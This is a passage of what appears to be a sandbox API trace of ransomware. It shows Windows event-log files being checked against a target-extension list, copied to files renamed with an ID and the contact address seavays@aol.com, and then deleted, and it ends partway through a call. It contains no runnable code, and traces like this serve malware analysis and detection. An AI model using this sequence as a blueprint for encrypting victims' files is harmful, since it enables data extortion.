[0061.942] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.942] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.942] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0061.942] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.943] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0061.943] CloseHandle (hObject=0x36c) returned 1 [0061.943] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0061.943] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.943] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.943] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.944] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.944] GetLastError () returned 0x0 [0061.944] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.946] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.949] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.949] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x134, lpOverlapped=0x0) returned 1 [0061.949] SetEndOfFile (hFile=0x34c) returned 1 [0061.949] CloseHandle (hObject=0x34c) returned 1 [0061.951] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.951] SetEndOfFile (hFile=0x36c) returned 1 [0061.953] CloseHandle (hObject=0x36c) returned 1 [0061.953] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.953] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0061.953] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.953] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.953] lstrlenW (lpString=".doc") returned 4 [0061.953] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString=".docx") returned 5 [0061.954] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.954] lstrlenW (lpString=".pdf") returned 4 [0061.954] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString=".xls") returned 4 [0061.954] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString=".xlsx") returned 5 [0061.954] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.954] lstrlenW (lpString=".ppt") returned 4 [0061.954] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.954] lstrlenW (lpString=".zip") returned 4 [0061.954] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString=".rar") returned 4 [0061.954] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString=".bz2") returned 4 [0061.954] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString=".7z") returned 3 [0061.954] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.954] lstrlenW (lpString=".dbf") returned 4 [0061.954] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.954] lstrlenW (lpString=".1cd") returned 4 [0061.954] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.954] lstrlenW (lpString=".jpg") returned 4 [0061.954] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.955] lstrlenW (lpString=".doc") returned 4 [0061.955] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString=".docx") returned 5 [0061.955] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.955] lstrlenW (lpString=".pdf") returned 4 [0061.955] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString=".xls") returned 4 [0061.955] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString=".xlsx") returned 5 [0061.955] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.955] lstrlenW (lpString=".ppt") returned 4 [0061.955] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.955] lstrlenW (lpString=".zip") returned 4 [0061.955] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString=".rar") returned 4 [0061.955] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString=".bz2") returned 4 [0061.955] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString=".7z") returned 3 [0061.955] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.955] lstrlenW (lpString=".dbf") returned 4 [0061.955] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.955] lstrlenW (lpString=".1cd") returned 4 [0061.955] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0061.955] lstrlenW (lpString=".jpg") returned 4 [0061.956] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.956] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.956] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0061.956] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.956] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1052672) returned 1 [0061.956] CloseHandle (hObject=0x36c) returned 1 [0061.956] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0061.956] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.956] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.957] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.957] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.957] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.965] GetLastError () returned 0x0 [0061.965] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0062.105] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0062.127] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x1010, lpOverlapped=0x0) returned 1 [0062.135] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x1020, lpOverlapped=0x0) returned 1 [0062.138] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.138] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x170, lpOverlapped=0x0) returned 1 [0062.138] SetEndOfFile (hFile=0x34c) returned 1 [0062.139] CloseHandle (hObject=0x34c) returned 1 [0062.225] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.225] SetEndOfFile (hFile=0x36c) returned 1 [0062.226] CloseHandle (hObject=0x36c) returned 1 [0062.226] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.281] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0062.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.281] lstrlenW (lpString=".doc") returned 4 [0062.281] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.281] lstrlenW (lpString=".docx") returned 5 [0062.281] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.281] lstrlenW (lpString=".pdf") returned 4 [0062.281] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.281] lstrlenW (lpString=".xls") returned 4 [0062.281] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString=".xlsx") returned 5 [0062.282] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.282] lstrlenW (lpString=".ppt") returned 4 [0062.282] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.282] lstrlenW (lpString=".zip") returned 4 [0062.282] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString=".rar") returned 4 [0062.282] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString=".bz2") returned 4 [0062.282] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString=".7z") returned 3 [0062.282] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.282] lstrlenW (lpString=".dbf") returned 4 [0062.282] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.282] lstrlenW (lpString=".1cd") returned 4 [0062.282] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.282] lstrlenW (lpString=".jpg") returned 4 [0062.282] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.282] lstrlenW (lpString=".doc") returned 4 [0062.282] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString=".docx") returned 5 [0062.282] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.282] lstrlenW (lpString=".pdf") returned 4 [0062.282] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString=".xls") returned 4 [0062.282] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.282] lstrlenW (lpString=".xlsx") returned 5 [0062.283] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.283] lstrlenW (lpString=".ppt") returned 4 [0062.283] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.283] lstrlenW (lpString=".zip") returned 4 [0062.283] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.283] lstrlenW (lpString=".rar") returned 4 [0062.283] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.283] lstrlenW (lpString=".bz2") returned 4 [0062.283] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.283] lstrlenW (lpString=".7z") returned 3 [0062.283] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.283] lstrlenW (lpString=".dbf") returned 4 [0062.283] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.283] lstrlenW (lpString=".1cd") returned 4 [0062.283] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0062.283] lstrlenW (lpString=".jpg") returned 4 [0062.283] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.283] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.283] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0062.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.284] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0062.284] CloseHandle (hObject=0x38c) returned 1 [0062.284] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0062.284] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.284] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.284] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.284] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.284] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0062.284] GetLastError () returned 0x0 [0062.284] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.292] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.294] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.294] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x12a, lpOverlapped=0x0) returned 1 [0062.294] SetEndOfFile (hFile=0x36c) returned 1 [0062.294] CloseHandle (hObject=0x36c) returned 1 [0062.297] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.297] SetEndOfFile (hFile=0x38c) returned 1 [0062.298] CloseHandle (hObject=0x38c) returned 1 [0062.298] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.298] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0062.299] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.299] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.299] lstrlenW (lpString=".doc") returned 4 [0062.299] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.299] lstrlenW (lpString=".docx") returned 5 [0062.299] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.299] lstrlenW (lpString=".pdf") returned 4 [0062.299] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.299] lstrlenW (lpString=".xls") returned 4 [0062.299] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.299] lstrlenW (lpString=".xlsx") returned 5 [0062.299] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.299] lstrlenW (lpString=".ppt") returned 4 [0062.299] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.299] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.299] lstrlenW (lpString=".zip") returned 4 [0062.299] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.299] lstrlenW (lpString=".rar") returned 4 [0062.299] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.299] lstrlenW (lpString=".bz2") returned 4 [0062.299] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.299] lstrlenW (lpString=".7z") returned 3 [0062.299] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.299] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.299] lstrlenW (lpString=".dbf") returned 4 [0062.300] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.300] lstrlenW (lpString=".1cd") returned 4 [0062.300] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.300] lstrlenW (lpString=".jpg") returned 4 [0062.300] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.300] lstrlenW (lpString=".doc") returned 4 [0062.300] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString=".docx") returned 5 [0062.300] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.300] lstrlenW (lpString=".pdf") returned 4 [0062.300] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString=".xls") returned 4 [0062.300] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString=".xlsx") returned 5 [0062.300] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.300] lstrlenW (lpString=".ppt") returned 4 [0062.300] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.300] lstrlenW (lpString=".zip") returned 4 [0062.300] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString=".rar") returned 4 [0062.300] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString=".bz2") returned 4 [0062.300] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.300] lstrlenW (lpString=".7z") returned 3 [0062.300] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.300] lstrlenW (lpString=".dbf") returned 4 [0062.300] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.301] lstrlenW (lpString=".1cd") returned 4 [0062.301] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0062.301] lstrlenW (lpString=".jpg") returned 4 [0062.301] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.301] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.301] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0062.301] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), 